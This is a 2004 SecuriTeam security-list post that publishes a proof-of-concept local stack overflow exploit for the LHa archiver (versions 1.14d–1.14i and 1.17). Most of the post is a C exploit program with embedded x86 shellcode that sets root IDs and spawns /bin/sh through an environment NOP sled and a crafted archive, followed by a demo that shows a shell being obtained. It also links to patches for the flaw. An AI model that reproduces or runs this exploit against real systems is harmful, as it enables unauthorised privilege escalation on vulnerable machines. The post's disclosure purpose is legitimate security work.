[EXPL] LHa Local Stack Overflow Proof of Concept
From: SecuriTeam (support_at_securiteam.com)
Date: 05/02/04
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To: list@securiteam.com Date: 2 May 2004 18:36:22 +0200
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LHa Local Stack Overflow Proof of Concept
------------------------------------------------------------------------
SUMMARY
Several vulnerabilities were found in the LHa application. For more
details see: <http://www.securiteam.com/unixfocus/5LP000KCVC.html> Buffer
Overflows and Directory Traversal in LHA. Below is a proof of concept that
exploits the stack based buffer overflow.
DETAILS
Exploit:
/* Author : N4rK07IX narkotix@linuxmail.org
Bug Found By : Ulf Ha"rnhammar <Ulf.Harnhammar.9485 at student.uu.se>
LHa buffer overflows and directory traversal problems
PROGRAM: LHa (Unix version)
VENDOR: various people
VULNERABLE VERSIONS: 1.14d to 1.14i // Theze sectionz completely taken
from full-disclosure :))
1.17 (Linux binary)
possibly others
IMMUNE VERSIONS: 1.14i with my patch applied
1.14h with my patch applied
Patch : Ulf Ha"rnhammar made some patch U can find it on :
LHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm
http://www2m.biglobe.ne.jp/~dolphin/lha/prog/
LHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/
---------------------------------------------------------------
Little Explanation about Exploit : Copy the attached overflow.lha file to
your directory , i.e /home
Then open overflow.lha with text editor(vim is better), U will see there
four bytes at the end of the line, just
delete and paste your ASCII RET address there,but make sure not to malform
the file.Then run the sploit.
Note : overflow.lha file is completely taken from Ulf's post.
Demo:
addicted@labs:~/c-hell$ ./lha /home/addicted/overflow.lha
--------------------------------------------------
| Author : N4rK07IX
| narkotix@linuxmail.org
|--------------------------------------------------
[+] RET ADDRESS = 0xbffffd90
[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the file
overflow.lha
[!] ASCII RET ADDR =
[+] Exploiting the buffer..
LHa: Error: Unknown information
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
UUUUUUUUUUUUUUUUAAAAAAAB
sh-2.05b$
Gretingz: Efnet,mathmonkey,Uz4yh4N,laplace_ex,xmlguy,gotcha,forkbomb
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFFERSIZE 2000
#define FEED 600
#define PATH "/usr/bin/lha"
#define PROG "lha"
static char shellcode[] =
//* setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
/* setgid(0); */
"\x31\xdb" // xor %ebx,%ebx
"\x89\xd8" // mov %ebx,%eax
"\xb0\x2e" // mov $0x2e,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80
int main(int argc, char *argv[])
{
if( argc < 2 )
{ printf("[-] Enter The Full Of the overflow.lha \n");
exit(-1);
}
printf("--------------------------------------------------\n");
printf("| Author : N4rK07IX\n");
printf("| Found by : Ulf Ha'rnhammar\n");
printf("| LHa 1.14d 1.14i 1.17 Local Lame Stack Overflow Sploit\n");
printf("| narkotix@linuxmail.org\n");
printf("|--------------------------------------------------\n");
char buffer[BUFFERSIZE];
char addict[FEED];
int i,
*adr_pointer,
*addict_pointer;
memset(addict,0x90,sizeof(addict));
memcpy(&addict[FEED-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(addict,"ADDICT=",7);
putenv(addict);
unsigned long ret = 0XBFFFFFFA -strlen("/usr/bin/lha") - strlen(addict);
printf("[+] RET ADDRESS = 0x%x\n",ret);
char l = (ret & 0x000000ff);
char a = (ret & 0x0000ff00) >> 8;
char m = (ret & 0x00ff0000) >> 16;
char e = (ret & 0xff000000) >> 24;
printf("[!] Paste These ASCII 4 bytes Ret Adress to the XXXX in the
file overflow.lha\n");
printf("[!] ASCII RET ADDR = %c%c%c%c\n",l,a,m,e);
printf("[+] Exploiting the buffer..\n");
adr_pointer = (int *)(buffer);
for(i = 0 ; i < BUFFERSIZE ; i += 4)
*adr_pointer++ = ret;
execl(PATH,PROG,"x",argv[1],NULL);
if(!execl);
perror("execl()");
printf("[+] Done B4by\n");
return 0;
}
The file overflow.lha can be found at:
<http://archives.neohapsis.com/archives/fulldisclosure/2004-03/att-2699/buf_oflow.lha> http://archives.neohapsis.com/archives/fulldisclosure/2004-03/att-2699/buf_oflow.lha
ADDITIONAL INFORMATION
The information has been provided by <mailto:narkotix@linuxmail.org>
narko tix.
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